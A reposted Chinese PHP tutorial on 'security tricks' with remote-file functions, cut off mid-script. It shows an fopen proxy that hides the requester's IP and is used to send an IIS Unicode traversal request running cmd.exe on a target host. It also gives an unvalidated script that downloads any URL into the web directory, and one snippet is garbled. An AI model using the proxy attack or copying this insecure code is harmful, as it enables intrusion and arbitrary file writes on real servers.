当前位置: 首页 > 图文教程 > 网络编程 > PHP > 另类代码应用 PHP在安全方面的使用窍门

PHP
linux php mysql数据库备份实现代码
php mssql 日期出现中文字符的解决方法
PHP中查询SQL Server或Sybase时TEXT字段被截断的解决方法
php 动态添加记录
php 结果集的分页实现代码
php执行sql语句的写法
php连接mysql数据库代码
php 表单验证实现代码
php URL编码解码函数代码
php 表单数据的获取代码
php 异常处理实现代码
php 删除记录实现代码
php 获取mysql数据库信息代码
PHP 文件类型判断代码
解决163/sohu/sina不能够收到PHP MAIL函数发出邮件的问题
php session 预定义数组
php session 检测和注销
php session处理的定制
php session应用实例 登录验证
php cookis创建实现代码

另类代码应用 PHP在安全方面的使用窍门


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-11-03   浏览: 161 ::
收藏到网摘: n/a


  1.远程文件
  
  PHP是一门具有丰富特性的语言,它提供了大量函数,使程序员能够方便地实现各种功能,远程文件就是一个很好的例子:
  代码
  <?php
  $fp=@Fopen($url,"r") or die ("cannot open $url");
  while($line=@fgets($fp,1024)) {
  $contents.=$line;
  }
  echo $contents; //显示文件内容
  fclose($fp); //关闭文件
  ?>
  
  以上是一段利用Fopen函数打开文件的代码,由于Fopen函数支持远程文件,使得它应用起来相当有趣,将以上代码保存为Proxy.php,然后后提交:
  
  代码
  /proxy.php?url=http://www.hacker.com.cn/bbs
  
  
  这时候你会发现论坛下方显示的IP地址变成了PHP脚本所处服务器的IP地址。Fopen函数可以从任何其Web或FTP站点读取文件,事实上PHP的大多数文件处理函数对远程文件都是透明的,比如请求:
  
  代码
  /proxy.php?url=http://target/script/..%c1%1c../winnt/system32/cmd.exe?/c+dir
  
  这样实际上是利用了Target主机上的Unicode漏洞,执行了DIR命令。但并不是所有的服务器都支持远程文件的功能,如果你使用的是商业的服务器,很可能会发现远程文件使用不了(如51的虚拟主机),这是因为在商业主机上限制远程文件的功能,往往能够更好的保护服务器的正常运行。你可以通过PHPinfo()查看服务器是否支持这种功能。当然,在PHPinfo()被禁用的情况下,也可以使用Get_cfg_var():
  
  代码
  <?php
  echo "是否允许使用远程文件(allow_url_Fopen)";
  ?php
  if (get_cfg_var("allow_url_Fopen")=="1")
  {
  echo("<font color=green><b>是</b></font>");
  }
  else echo("<font color=red><b>否</b></font>");
  ?>
  
  当Allow_url_Fopen一项参数为ON时,即支持远程文件的功能。充分发挥远程文件的特性,我们可以实现许多特殊的功能:如果你是用过PHP Flame的最新版本,你会发现它在集文件夹复制、文本搜索等功能的基础上,又增加了Web间文件传输的功能,依靠这种功能,你可以随意将其他服务器上的文件传送到你的Web目录下。而且,在两台服务器间传送文件有着飞快的传输速度。我们看看实现这个功能的代码:
  
  代码
  <?php
  $fp = Fopen($_GET['filename'], 'rb'); //打开文件
  $data = $tmp = '';
  while ( true ) {
  $tmp = fgets($fp, 1024);
  if ( 0 === strlen($tmp) ) {
  break; //跳出while循环
  }
  $data .= $tmp;
  }
  fclose($fp); //关闭文件
  $file=preg_replace("/^.+\//","",$filename);//转换文件名
  //write
  $fp = Fopen("$file", 'wb'); //生成文件
  fwrite($fp, $data); //写入数据
  fclose($fp);
  ?>
  
  在调用Fopen和Fwrite函数时加入"b"标记,可以使这两个函数安全运用于二进制文件而不损坏数据。在以上脚本提交:
  /down.php?filename=http://www.chinaz.com/winrar.zip
  这时便会在Down.php的所处目录下生成相应的Winrar.zip文件。如果再配合遍历目录的功能,你将可以实现多个文件夹服务器间的传输。但是,远程文件应该还有更大的发挥空间,比如写SQL Injection攻击的自动脚本,甚至是HTTP的代理服务:
  
  代码
  <?
  $url = getenv("QUERY_STRING");
  if(!ereg("^http",$url)) //检查输入的URL格式
  {
  echo "例子:<br>http://www.163.com/<br>";
  echo "http://www.xxxx.com/list.php?id=600<br>";
  echo "当URL为目录时需要在目录后加入"/"";
  exit;
  }
  if($url)
  $url=str_replace("\\","/",$url);
  $f=@Fopen($url,"r"); //打开文件
  $a="";
  if($f)
  {
  while(!feof($f))
  $a.=@fread($f,8000); //读取文件
  fclose($f);
  }
  $rooturl = preg_replace("/(.+\/)(.*)/i","\\1",$url); //转换根目录
  $a = preg_replace("/(src[[:space:]]*=['\"])([^h].*?)/is","\\1$rooturl\\2",$a);
  $a = preg_replace("/(src[[:space:]]*=)([^h'\"].*?)/is","\\1$rooturl\\2",$a); //转换图片地址
  $a = preg_replace("/(action[[:space:]]*=['\"])([^h].*?)/is","\\1$php_self?$rooturl\\2",$a);
  $a = preg_replace("/(action[[:space:]]*=)([^h'\"].*?)/is","\\1$php_self?$rooturl\\2",$a); //转换POST地址
  $a = preg_replace("/(<a.+?href[[:space:]]*=['\"])([^h].*?)/is","\\1$php_self?$rooturl\\2",$a);
  $a